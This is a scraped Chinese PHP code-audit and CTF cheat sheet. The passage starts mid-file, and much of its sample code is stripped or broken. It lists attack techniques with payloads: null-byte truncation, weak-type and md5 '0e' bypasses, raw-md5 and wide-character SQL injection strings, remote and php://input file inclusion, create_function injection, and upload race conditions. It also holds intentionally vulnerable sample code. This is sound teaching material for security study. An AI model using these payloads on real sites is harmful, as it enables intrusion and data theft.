"; 175 | } 176 | else{ 177 | echo($query[content]); 178 | } 179 | } 180 | 复制代码 181 | ``` 182 | 183 | ### 浮点数精度忽略 184 | 185 | ```php 186 | if ($req["number"] != intval($req["number"])) 187 | 复制代码 188 | ``` 189 | 190 | 在小数小于某个值（10^-16）以后，再比较的时候就分不清大小了。 输入number = 1.00000000000000010, 右边变成1.0, 而左与右比较会相等。 191 | 192 | ### 多重加密 193 | 194 | 题目中有： 195 | 196 | ```php 197 | $login = unserialize(gzuncompress(base64_decode($requset['token']))); 198 | if($login['user'] === 'ichunqiu'){echo $flag;} 199 | 复制代码 200 | ``` 201 | 202 | 本地则写： 203 | 204 | ```php 205 | 211 | 复制代码 212 | ``` 213 | 214 | ### 截断 215 | 216 | #### iconv 异常字符截断 217 | 218 | ```php 219 | ## 因iconv遇到异常字符就不转后面的内容了，所以可以截断。 220 | ## 这里chr(128)到chr(255)都可以截断。 221 | $a='1'.char(130).'2'; 222 | echo iconv("UTF-8","gbk",$a); //将字符串的编码从UTF-8转到gbk 223 | echo iconv('GB2312', 'UTF-8', $str); //将字符串的编码从GB2312转到UTF-8 224 | 复制代码 225 | ``` 226 | 227 | #### eregi、ereg可用%00截断 228 | 229 | 功能：正则匹配过滤 条件：要求php<5.3.4 230 | 231 | ```php 232 | ## http://127.0.0.1/Php_Bug/05.php?password=1e9%00*-* 233 | #GET方式提交password，然后用ereg()正则限制了password的形式，只能是一个或者多个数字、大小写字母，继续strlen()限制了长度小于8并且大小必须大于9999999，继续strpos()对password进行匹配，必须含有-，最终才输出flag 234 | #因为ereg函数存在NULL截断漏洞，导致了正则过滤被绕过,所以可以使用%00截断正则匹配。 235 | #对于另一个难题可以使用科学计数法表示，计算器或电脑表达10的的幂是一般是e，也就是1.99714e13=19971400000000，所以构造 1e8 即 100000000 > 9999999，在加上-。于是乎构造password=1e8%00*-*,成功得到答案 236 | You password must be alphanumeric

'; 241 | } 242 | else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) 243 | { 244 | if (strpos ($_GET['password'], '*-*') !== FALSE) 245 | { 246 | die('Flag: ' . $flag); 247 | } 248 | else 249 | { 250 | echo('

*-* have not been found

'); 251 | } 252 | } 253 | else 254 | { 255 | echo '

Invalid password

'; 256 | } 257 | } 258 | 复制代码 259 | ``` 260 | 261 | #### move\_uploaded\_file 用\0截断 262 | 263 | 5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7 264 | 265 | 在高版本（受影响版本中），PHP把长度比较的安全检查逻辑给去掉了，导致了漏洞的发生 266 | 267 | cve：[web.nvd.nist.gov/view/vuln/d…](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2348) 268 | 269 | `move_uploaded_file($_FILES['x']['tmp_name'],"/tmp/test.php\x00.jpg")` 上传抓包修改name为a.php\0jpg（\0是nul字符），可以看到`$_FILES['xx']['name']`存储的字符串是a.php，不会包含\0截断之后的字符，因此并不影响代码的验证逻辑。 但是如果通过`$_REQUEST`方式获取的，则可能出现扩展名期望值不一致的情况，造成“任意文件上传”。 270 | 271 | #### inclue用？截断 272 | 273 | ```php 274 | 279 | 复制代码 280 | ``` 281 | 282 | 当输入的文件名包含URL时，问号截断则会发生，并且这个利用方式不受PHP版本限制，原因是Web服务其会将问号看成一个请求参数。 283 | 284 | 测试POC：http://127.0.0.1/test/t1.php?name=http://127.0.0.1/test/secret.txt? 则会打开secret.txt中的文件内容。本测试用例在PHP5.5.38版本上测试通过。 285 | 286 | #### 系统长度截断 287 | 288 | 这种方式在PHP5.3以后的版本中都已经得到了修复。 win260个字符，linux下4\*1024=4096字节 289 | 290 | #### mysql长度截断 291 | 292 | mysql内的默认字符长度为255，超过的就没了。 由于mysql的sql\_mode设置为default的时候，即没有开启STRICT\_ALL\_TABLES选项时，MySQL对于插入超长的值只会提示warning 293 | 294 | #### mysql中utf-8截断 295 | 296 | ```php 297 | insert into dvwa.test values (14,concat("admin",0xc1,"abc")) 298 | ``` 299 | 300 | 写入为admin 301 | 302 | ### 弱类型比较 303 | 304 | 原理 305 | 306 | 比较表：[php.net/manual/zh/t…](http://php.net/manual/zh/types.comparisons.php) 307 | 308 | 以下等式会成立 309 | 310 | ```php 311 | '' == 0 == false 312 | '123' == 123 313 | 'abc' == 0 314 | '123a' == 123 315 | '0x01' == 1 316 | '0e123456789' == '0e987654321' 317 | [false] == [0] == [NULL] == [''] 318 | NULL == false == 0 319 | true == 1 320 | 复制代码 321 | ``` 322 | 323 | #### ==、>、<的弱类型比较 324 | 325 | 这里用到了PHP弱类型的一个特性，当一个整形和一个其他类型行比较的时候，会先把其他类型转换成整型再比。 326 | 327 | ```php 328 | ##方法1 329 | ##$a["a1"]="1e8%00"; 330 | ##这里用%00绕过is_numeric,然后1e8可以比1336大，因此最后能$v1=1 331 | ##方法2 332 | ##$a["a1"]=["a"]; 333 | ##使用数组，可以，因为数组恒大于数字或字符串 334 | ##方法3 335 | ##$a["a1"]=1337a; 336 | ##1337a过is_numeric，又由>转成1337与1336比较 337 | 1336)?$v1=1:NULL; 342 | } 343 | var_dump($v1); 344 | 复制代码 345 | ``` 346 | 347 | #### switch 弱类型 348 | 349 | ```php 350 | // 第一种：弱类型，1e==1 351 | // $x1=1e 352 | // 第二种：利用数组名字bypass 353 | // $x1=1[] 354 | // 传入后为string(3) "1[]",但在switch那里为1 355 | if (isset($_GET['x1'])) 356 | { 357 | $x1 = $_GET['x1']; 358 | $x1=="1"?die("ha?"):NULL; 359 | switch ($x1) 360 | { 361 | case 0: 362 | case 1: 363 | $a=1; 364 | break; 365 | } 366 | } 367 | 复制代码 368 | ``` 369 | 370 | #### md5比较（0e相等、数组为Null） 371 | 372 | ```php 373 | md5('240610708') //0e462097431906509019562988736854 374 | md5('QNKCDZO') //0e830400451993494058024219903391 375 | 0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字，先做字符串到数字的转换。 376 | md5('240610708')==md5('QNKCDZO'); //True 377 | md5('240610708')===md5('QNKCDZO'); //False 378 | 379 | 这样的对应数值还有： 380 | var_dump(md5('240610708') == md5('QNKCDZO')); 381 | var_dump(md5('aabg7XSs') == md5('aabC9RqS')); 382 | var_dump(sha1('aaroZmOk') == sha1('aaK1STfY')); 383 | var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m')); 384 | var_dump('0010e2' == '1e3'); 385 | var_dump('0x1234Ab' == '1193131'); 386 | var_dump('0xABCdef' == ' 0xABCdef'); 387 | 复制代码 388 | ``` 389 | 390 | 技巧：找出在某一位置开始是0e的，并包含“XXX”的字符串 391 | 392 | ```php 393 | #方法1 394 | #s1=QNKCDZO&s2=240610708 395 | #方法2 396 | #?s1[]=1&s2[]=2 397 | #利用md5中md5([1,2,3]) == md5([4,5,6]) ==NULL，md5一个list结果为Null 398 | #则可以使：[1] !== [2] && md5([1]) ===md5([2]) 399 | define('FLAG', 'pwnhub{THIS_IS_FLAG}'); 400 | if ($_GET['s1'] != $_GET['s2'] 401 | && md5($_GET['s1']) == md5($_GET['s2'])) { 402 | echo "success, flag:" . FLAG; 403 | } 404 | 复制代码 405 | ##这里没有弱类型，但可以让$r查出来是Null，然后提交md5里放数组得Null，于是Null===Null 406 | $name = addslashes($_POST['name']); 407 | $r = $db->get_row("SELECT `pass` FROM `user` WHERE `name`='{$name}'"); 408 | if ($r['pass'] === md5($_POST['pass'])) { 409 | echo "success"; 410 | } 411 | 复制代码 412 | ``` 413 | 414 | #### json传数据{"key":0} 415 | 416 | PHP将POST的数据全部保存为字符串形式，也就没有办法注入数字类型的数据了而JSON则不一样，JSON本身是一个完整的字符串，经过解析之后可能有字符串，数字，布尔等多种类型。 417 | 418 | ```php 419 | application/x-www-form-urlencoded 420 | multipart/form-data 421 | application/json 422 | application/xml 423 | 复制代码 424 | ``` 425 | 426 | 第一个application/x-www-form-urlencoded，是一般表单形式提交的content-type第二个，是包含文件的表单。第三，四个，分别是json和xml，一般是js当中上传的. 427 | 428 | {"key":"0"} 429 | 430 | 这是一个字符串0，我们需要让他为数字类型，用burp拦截，把两个双引号去掉，变成这样： 431 | 432 | {"key":0} 433 | 434 | #### strcmp漏洞1：返回0 435 | 436 | 适用与5.3之前版本的php 437 | 438 | `int strcmp ( string $str1 , string $str2 )` // 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。 当这个函数接受到了不符合的类型，这个函数将发生错误，但是在5.3之前的php中，显示了报错的警告信息后，将return 0,所以可以故意让其报错，则返回0，则相等了。 439 | 440 | ```php 441 | ##flag[]=admin 442 | define('FLAG', 'pwnhub{THIS_IS_FLAG}'); 443 | if (strcmp($_GET['flag'], FLAG) == 0) { 444 | echo "success, flag:" . FLAG; 445 | } 446 | 复制代码 447 | ``` 448 | 449 | #### strcmp漏洞2：返回Null 450 | 451 | 修复了上面1的返回0的漏洞，即大于5.3版本后，变成返回NULL。 array和string进行strcmp比较的时候会返回一个null，因为strcmp只会处理字符串参数，如果给个数组的话呢，就会返回NULL。 452 | 453 | ```php 454 | strcmp($c[1],$d) 455 | ``` 456 | 457 | #### strcmp漏洞3: 判断使用的是 == 458 | 459 | 而判断使用的是==，当NULL==0是 bool(true) 460 | 461 | #### in\_array，array\_search 弱类型比较 462 | 463 | 松散比较下，任何string都等于true： 464 | 465 | ```php 466 | // in_array('a', [true, 'b', 'c']) // 返回bool(true)，相当于数组里面有字符'a' 467 | // array_search('a', [true, 'b', 'c']) // 返回int(0)，相当于找到了字符'a' 468 | // array_search 会使用'ctf'和array中的每个值作比较，这里的比较也是弱比较，所以intval('ctf')==0. 469 | if(is_array(@$a["a2"])){ 470 | if(count($a["a2"])!==5 OR !is_array($a["a2"][0])) die("nope"); 471 | $pos = array_search("ctf", $a["a2"]); 472 | $pos===false?die("nope"):NULL; 473 | foreach($a["a2"] as $key=>$val){ 474 | $val==="ctf"?die("nope"):NULL; 475 | } 476 | $v2=1; 477 | } 478 | 复制代码 479 | ``` 480 | 481 | #### sha1() md5() 报错相等绕过（False === False） 482 | 483 | sha1()函数默认的传入参数类型是字符串型，给它传入数组会出现错误，使sha1()函数返回错误，也就是返回false 484 | 485 | md5()函数如果成功则返回已计算的 MD5 散列，如果失败则返回 FALSE。可通过传入数组，返回错误。 486 | 487 | ```php 488 | ##?name[]=1&password[]=2 489 | ## === 两边都是false则成立 490 | if ($_GET['name'] == $_GET['password']) 491 | echo '

Your password can not be your name!

'; 492 | else if (sha1($_GET['name']) === sha1($_GET['password'])) 493 | die('Flag: '.$flag); 494 | 复制代码 495 | ``` 496 | 497 | #### strpos数组NULL(Null !== False) 498 | 499 | strpos()输入数组出错返回null 500 | 501 | ```php 502 | #既要是纯数字,又要有’#biubiubiu’，strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求. 所以输入nctf[]= 那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求. 503 | = $one) && ($digit <= $nine) ) ## 1到9不允许，但0允许 537 | { 538 | // Aha, digit not allowed! 539 | return "flase"; 540 | } 541 | } 542 | if($number == $temp) 543 | return $flag; 544 | } 545 | $temp = $_GET['password']; 546 | echo noother_says_correct($temp); 547 | 复制代码 548 | ``` 549 | 550 | ### md5注入带入’or’ 551 | 552 | 原理： 553 | 554 | ```php 555 | md5(string,raw) 556 | raw 可选。规定十六进制或二进制输出格式： 557 | TRUE - 原始 16 字符二进制格式 558 | FALSE - 默认。32 字符十六进制数 559 | 复制代码 560 | ``` 561 | 562 | 当md5函数的第二个参数为True时，编码将以16进制返回，再转换为字符串。而字符串’ffifdyop’的md5加密结果为`'or'` 其中 trash为垃圾值，or一个非0值为真，也就绕过了检测。 563 | 564 | ```php 565 | ## 执行顺序:字符串：ffifdyop -> md5()加密成276f722736c95d99e921722cf9ed621c->md5(,true)将16进制转成字符串`'or'`->sql执行`'or'`造成注入 566 | $sql = "SELECT * FROM admin WHERE username = admin pass = '".md5($password,true)."'"; 567 | 复制代码 568 | ``` 569 | 570 | ### switch没有break 571 | 572 | ```php 573 | #这里case 0 和 1 没有break,使得程序继续往下执行。 574 | 599 | readfile(); 607 | ?> 608 | 609 | 610 | file = $filename; 616 | } 617 | function readfile() { 618 | if (!empty($this->file) && stripos($this->file,'..')===FALSE 619 | && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { 620 | return @file_get_contents($this->file); 621 | } 622 | } 623 | } 624 | ?> 625 | 626 | 639 | 复制代码 640 | #?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} 641 | 642 | 650 | 651 | 652 | file = $filename; 658 | } 659 | function readfile() { 660 | if (!empty($this->file) && stripos($this->file,'..')===FALSE 661 | && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { 662 | return @file_get_contents($this->file); 663 | } 664 | } 665 | } 666 | ?> 667 | 复制代码 668 | ``` 669 | 670 | ### 文件包含 671 | 672 | 原理： 673 | 674 | include()/include\_once()，require()/require\_once()，中的变量可控 675 | 676 | 利用方法： 677 | 678 | 1. 上传图片（含有php代码的图片） 679 | 2. 读文件，读php文件 680 | 3. 包含日志文件getshell 681 | 4. 包含/proc/self/envion文件getshell 682 | 5. 如果有phpinfo可以包含临时文件 683 | 6. 包含data://或php://input等伪协议（需要allow\_url\_include=On) 684 | 685 | 封装协议： 686 | 687 | ```php 688 | file:// — 访问本地文件系统 689 | http:// — 访问 HTTP(s) 网址 690 | ftp:// — 访问 FTP(s) URLs 691 | php:// — 访问各个输入/输出流（I/O streams） 692 | zlib:// — 压缩流 693 | data:// — 数据（RFC 2397） 694 | glob:// — 查找匹配的文件路径模式 695 | phar:// — PHP 归档 696 | ssh2:// — Secure Shell 2 697 | rar:// — RAR 698 | ogg:// — 音频流 699 | expect:// — 处理交互式的流 700 | 复制代码 701 | ## 访问共享目录 702 | include ('\evilservershell.php'); 703 | 复制代码 704 | ## post提交数据 705 | 708 | ## http://127.0.0.1/111332.php?url=php://input 709 | ## POST内容为： 710 | ');?> 711 | 复制代码 712 | ``` 713 | 714 | ### 提交参数无过滤 715 | 716 | 原理:过滤了GPC，但没有过滤其它部分。 717 | 718 | ```php 719 | 上传文件相关变量如$_FIle 720 | $_GET，$_POST，$_Cookie，$_SERVER，$_ENV，$_SESSION，$_REQUEST 721 | HTTP_CLIENT_IP 和HTTP_XFORWORDFOR 中的ip不受gpc影响 722 | $_HTTP_COOKIE_VARS 723 | $_HTTP_ENV_VARS 724 | $_HTTP_GET_VARS 725 | $_HTTP_POST_FILES 726 | $_HTTP_POST_VARS 727 | $_HTTP_SERVER_VARS 728 | 复制代码 729 | ``` 730 | 731 | 案例： 732 | 733 | ```php 734 | foreach($_COOKIE AS $_key=>$_value){ 735 | unset(?_key); 736 | } 737 | foreach($_POST AS $_key=>$_value){ 738 | !ereg("^\_[A-Z]+",$_key) && ?_key=$_POST[$_key]; 739 | } 740 | foreach($_GET AS $_key=>$_value){ 741 | !ereg("^\_[A-Z]+",$_key) && ?_key=$_GET[$_key]; 742 | } 743 | 复制代码 744 | ``` 745 | 746 | 通过表单来传值。 747 | 748 | ```php 749 |
750 | 751 | 752 |
753 | 复制代码 754 | ``` 755 | 756 | 这里的gid为查询参数 757 | 758 | ```php 759 | $_SERVER //中用户能够控制的变量，php5.0后不受GPC影响 760 | QUERY_STRING //用户GET方法提交时的查询字符串 761 | HTTP_REFERER //用户请求的来源变量，在一些程序取得用户访问记录时用得比较多 762 | HTTP_USER_AGENT //用户的浏览器类型，也用于用户的访问记录的取得 763 | HTTP_HOST //提交的主机头等内容 764 | HTTP_X_FORWARDED_FOR //用户的代理主机的信息 765 | 复制代码 766 | ``` 767 | 768 | ### 伪造IP 769 | 770 | 原理:以 HTTP\_ 开头的 header, 均属于客户端发送的内容。那么，如果客户端伪造user-agent/referer/client-ip/x-forward-for,就可以达到伪造IP的目的,php5之后不受GPC影响。 771 | 772 | ```php 773 | 关键字： 774 | HTTP_ 775 | getenv 776 | $_SERVER 777 | 服务端： 778 | echo getenv('HTTP_CLIENT_IP'); 779 | echo $_SERVER['REMOTE_ADDR']; //访问端（有可能是用户，有可能是代理的）IP 780 | echo $_SERVER['HTTP_CLIENT_IP']; //代理端的（有可能存在，可伪造） 781 | echo $_SERVER['HTTP_X_FORWARDED_FOR']; //用户是在哪个IP使用的代理（有可能存在，也可以伪造） 782 | 客户端： 783 | 注意发送的格式： 784 | CLIENT-IP:10.10.10.1 785 | X-FORWARDED-FOR:10.10.10.10 786 | 复制代码 787 | #这个玩意恒成立的。不管有没有clientip 788 | strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown') 789 | 复制代码 790 | ``` 791 | 792 | ### 绕过正则匹配 793 | 794 | #### 缺少^和$限定 795 | 796 | #### 数组绕过正则 797 | 798 | ```php 799 | \A[ _a-zA-Z0-9]+\z 800 | ``` 801 | 802 | #### str\_replace路径穿越 803 | 804 | 原理：str\_replace的过滤方式为其search参数数组从左到右一个一个过滤。 805 | 806 | ```php 807 | ## 这里可以被绕过，因为是对.和/或\的组合的过滤，所以单独的..或\/没有检测到。 808 | ## 方法1 809 | ## 五个点加/// 810 | ## 方法2 811 | ## ..../.// 812 | $dir = str_replace(array('..\\', '../', './', '.\\'), '', trim($dir),$countb); 813 | echo $dir; 814 | echo '
替换数量'; 815 | echo $countb; 816 | 复制代码 817 | ## 这里有对单独的.进行过滤，所以无法绕过。 818 | $file = str_replace(array('../', '\\', '..'), array('', '/', ''), $_GET['file'],$counta); 819 | echo $file; 820 | echo '
替换数量'; 821 | echo $counta; 822 | 复制代码 823 | ``` 824 | 825 | ### short\_open\_tag=on 短标签 826 | 827 | 原理：当 php.ini 的short\_open\_tag=on时，PHP支持短标签，默认情况下为off。格式为：` --> //@可以为空格，tab，/**/ ，回车，+，-，!，~,\等 874 | 复制代码 875 | ``` 876 | 877 | #### 查询语句缺少单引号 878 | 879 | ```php 880 | "Select * from table where id=$id" # 有注入 881 | "Select * from table where id=".$id." limit 1" # 有注入 882 | "Select * from table where id='$id'" # 无注入 883 | "Select * from table where id='".$id."' limit 1" # 无注入 884 | 复制代码 885 | ``` 886 | 887 | ### 宽字符注入 888 | 889 | 原理: 890 | 891 | 常见转码函数： iconv() mb\_convert\_encoding() addslashes 892 | 893 | 防御： 894 | 895 | 用mysql\_real\_escape\_string 896 | 897 | ```php 898 | ## ?username=tom&password=1%df' or 1=1 union select 1,2,group_concat(0x0a,mname,0x0a,pwd) from manager--+ 899 | ## %df把\给吃掉，所以这里可以绕过addslashes的转义 900 | $pwd = addslashes($pwd); 901 | mysql_query("SET NAMES gbk"); 902 | $query = "select * from user where uname='".$uname."' and pwd='".$pwd."'"; 903 | 复制代码 904 | ``` 905 | 906 | ### 跳转无退出 907 | 908 | 原理:没有使用return()或die()或exit()退出流程的话，下面的代码还是会继续执行。可以使用burp测试，不会跳转过去。 909 | 910 | ```php 911 | ## 1 912 | $this->myclass->notice('alert("系统已安装过");window.location.href="'.site_url().'";'); 913 | ## 2 914 | header("location: ../index.php"); 915 | 复制代码 916 | ``` 917 | 918 | ### 二次编码注入 919 | 920 | 由于浏览器的一次urldecode，再由服务器端函数的一次decode，造成二次编码，而绕过过滤。如%2527，两次urldecode会最后变成' 921 | 922 | ```php 923 | base64_decode -- 对使用 MIME base64 编码的数据进行解码 924 | base64_encode -- 使用 MIME base64 对数据进行编码 925 | rawurldecode -- 对已编码的 URL 字符串进行解码 926 | rawurlencode -- 按照 RFC 1738 对 URL 进行编码 927 | urldecode -- 解码已编码的 URL 字符串 928 | urlencode -- 编码 URL 字符串 929 | unserialize/serialize 930 | 字符集函数（GKB,UTF7/8...）如iconv()/mb_convert_encoding()等 931 | 复制代码 932 | ``` 933 | 934 | ### 前端可控变量填充导致XSS 935 | 936 | 当html里的链接是变量时，易出现XSS。 937 | 938 | ```php 939 | ={#、echo、print、printf、vprintf、<%=$test%> 940 | img scr={#$list.link_logo#} 941 | 复制代码 942 | ``` 943 | 944 | ### 命令执行函数 945 | 946 | ```php 947 | system() 948 | exec() 949 | passthru() 950 | pcntl_exec() 951 | shell_exec() 952 | echo `whoami`; //反引号调用shell_exec()函数 953 | popen()和proc_open() //不会返回结果 954 | array_map($arr,$array); //为数组的每个元素应用回调函数arr,如$arr = "phpinfo" 955 | popen('whoami >>D: /2.txt', 'r'); //这样就会在D下生成一个2.txt。 956 | preg_replace() 957 | ob_start() 958 | array_map() 959 | 复制代码 960 | ``` 961 | 962 | 防范方法： 963 | 964 | 1. 使用自定义函数或函数库来替代外部命令的功能 965 | 2. 使用escapeshellarg 函数来处理命令参数 966 | 3. 使用safe\_mode\_exec\_dir 指定可执行文件的路径 967 | 968 | #### create\_function 969 | 970 | create\_function构造了一个return后面的语句为一个函数。 971 | 972 | ```php 973 | #?sort_by="]);}phpinfo();/* 974 | #sort_function就变成了 return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]); 975 | #前面闭合，然后把后面的全部注释掉了。 976 | image.php 1062 | 复制代码 1063 | ## 找上传点 1064 | ## 文件头部加入GIF89a 1065 | # 1 1066 | $file = $request->getFiles(); 1067 | # 2 1068 | if(getimagesize($files['users']['photo']['tmp_name'])) 1069 | { 1070 | move_uploaded_file($files['users']['photo']['tmp_name'], $filename); 1071 | # 3 1072 | $filesize = @getimagesize('/path/to/image.png'); 1073 | if ($filesize) { 1074 | do_upload(); 1075 | } 1076 | 复制代码 1077 | ``` 1078 | 1079 | ### <变\*，windows findfirstfile利用 1080 | 1081 | 原理：Windows下，在搜索文件的时候使用了FindFirstFile这一个winapi函数，该函数到一个文件夹(包含子文件夹)去搜索指定文件。 执行过程中，字符">"被替换成"?"，字符"<"被替换成"\*"，而符号"（双引号）被替换成一个"."字符。所以： 1082 | 1083 | 1. ">"">>"可代替一个字符,"<"可以代替后缀名多个字符（即.后的字符），"<<"可以代替包括文件名和后缀名多个字符。所以一般使用<< 1084 | 2. " 可以代替. 1085 | 3. 文件名第一个字符是"."的话，读取时可以忽略之 1086 | 1087 | | NO | Status | Function | Type of operation | 1088 | | --- | ------ | ---------------------- | ---------------------- | 1089 | | 1. | OK | include() | Includefile | 1090 | | 2. | OK | include\_once() | Includefile | 1091 | | 3. | OK | require() | Includefile | 1092 | | 4. | OK | require\_once() | Include file | 1093 | | 5. | OK | fopen() | Openfile | 1094 | | 6. | OK | ZipArchive::open() | Archive file | 1095 | | 7. | OK | copy() | Copyfile | 1096 | | 8. | OK | file\_get\_contents() | Readfile | 1097 | | 9. | OK | parse\_ini\_file() | Readfile | 1098 | | 10. | OK | readfile() | Readfile | 1099 | | 11. | OK | file\_put\_contents() | Write file | 1100 | | 12. | OK | mkdir() | New directory creation | 1101 | | 13. | OK | tempnam() | New file creation | 1102 | | 14. | OK | touch() | New file creation | 1103 | | 15. | OK | move\_uploaded\_file() | Move operation | 1104 | | 16. | OK | opendiit) | Directory operation | 1105 | | 17. | OK | readdir() | Directory operation | 1106 | | 18. | OK | rewinddir() | Directory operation | 1107 | | 19. | OK | closedir() | Directory operation | 1108 | | 20. | FAIL | rename() | Move operation | 1109 | | 21. | FAIL | unlink() | Delete file | 1110 | | 22. | FAIL | rmdir()) | Directory operation | 1111 | 1112 | ```php 1113 | ## ?file=1< 1114 | ## ?file=1> 1115 | ## ?file=1"txt 1116 | 文件名为1.txt 1117 | 1118 | ## ?file=1234.tx> 1119 | ## ?file=1234.< 1120 | ## ?file=1<< 1121 | ## ?file=1<<"> 1122 | ## ?file=123>"> 1123 | ## ?file=>>>4"> 1124 | ## ?file=<<4"> 1125 | 文件名为1234.txt 1126 | 1127 | include('shell<'); 1128 | include('shell<<'); 1129 | include('shell.p>p'); 1130 | include('shell"php'); 1131 | fopen('.htacess'); //==>fopen("htacess'); 1132 | file_get_contents('C:boot.ini'); //==> file_get_contents ('C:/boot.ini'); 1133 | file_get_contents('C:/tmp/con.jpg'); //此举将会无休无止地从CON设备读取0字节，直到遇到eof 1134 | file_put_contents('C:/tmp/con.jpg',chr(0×07)); //此举将会不断地使服务器发出类似哔哔的声音 1135 | 复制代码 1136 | ``` 1137 | 1138 | ### Linux 通配符利用 1139 | 1140 | 原理：linux下，\*代表任意字符(0到多个)，?代表一个字符，所以如果是有执行linux系统命令，那就可以用这些通配符来绕过过滤，并执行我们想要的命令 1141 | 1142 | ```php 1143 | 1182 | 复制代码 1183 | ``` 1184 | 1185 | 生成好的图片，在经过如下代码处理后，依然能保留其中的shell： 1186 | 1187 | ```php 1188 | 1191 | 复制代码 1192 | ``` 1193 | 1194 | ### 会话固定 1195 | 1196 | ```php 1197 | if(!empty($_GET['phpsessid'])) session_id($_GET['phpsessid']);//通过GET方法传递sessionid 1198 | 复制代码 1199 | ``` 1200 | 1201 | 通过get方法来设置session。所以可以通过CSRF： 1202 | 1203 | http://xxxx/index.php?r=admin/index/index\&phpsessid=f4cking123 1204 | 1205 | 管理员点了我们就能使用此session进后台了。 1206 | 1207 | ### 黑名单绕过 1208 | 1209 | 原理：通过黑名单将敏感字符替换为空，然而只按顺序执行一次。可通过故意过滤构造payload. 1210 | 1211 | ```php 1212 | ## %*27 1213 | ## 经典如phpcms9.6.0注入,过滤后去掉了*，剩下的%27即可使用。 1214 | function safe_replace($string) { 1215 | $string = str_replace('%20','',$string); 1216 | $string = str_replace('%27','',$string); 1217 | $string = str_replace('%2527','',$string); 1218 | $string = str_replace('*','',$string); 1219 | $string = str_replace('"','"',$string); 1220 | $string = str_replace("'",'',$string); 1221 | $string = str_replace('"','',$string); 1222 | $string = str_replace(';','',$string); 1223 | $string = str_replace('<','<',$string); 1224 | $string = str_replace('>','>',$string); 1225 | $string = str_replace("{",'',$string); 1226 | $string = str_replace('}','',$string); 1227 | $string = str_replace('\\','',$string); 1228 | return $string; 1229 | } 1230 | 复制代码 1231 | ``` 1232 | 1233 | ### XXE注入 1234 | 1235 | 原理：simplexml\_load\_file函数的参数过滤不严，导致引入外部实体。产生任意文件读取。 1236 | 1237 | ### 文件上传条件竞争 1238 | 1239 | 原理： 1240 | 1241 | 后台逻辑：将上传的文件上传到Web目录，然后检查文件的安全性，如果发现文件不安全就马上通过unlink()将其删除。 利用方法：在上传完成和安全检查完成并删除它的间隙，攻击者通过不断地发起访问请求的方法访问了该文件，该文件就会被执行，并且在服务器上生成一个恶意shell。这时候shell已经生成，文件被删除就无所谓了。 1242 | 1243 | ```php 1244 | 0)){ 1246 | move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]); 1247 | //check file 1248 | unlink("upload/"._FILES["file"]["name"])); 1249 | } 1250 | ?> 1251 | 复制代码 1252 | ``` 1253 | 1254 | ### 资料 1255 | 1256 | [github.com/bowu678/php…](https://github.com/bowu678/php\_bugs) 1257 | 1258 | [github.com/jiangsir404…](https://github.com/jiangsir404/Audit-Learning) 1259 | 1260 | [read.douban.com/reader/eboo…](https://read.douban.com/reader/ebook/16642056/) 1261 | 1262 | [github.com/SecWiki/CMS…](https://github.com/SecWiki/CMS-Hunter) 1263 | 1264 | [github.com/CHYbeta/Cod…](https://github.com/CHYbeta/Code-Audit-Challenges) 1265 | 1266 | 作者：木禾ali0th 链接：https://juejin.cn/post/6844903829725511693 来源：掘金 著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。 1267 | --------------------------------------------------------------------------------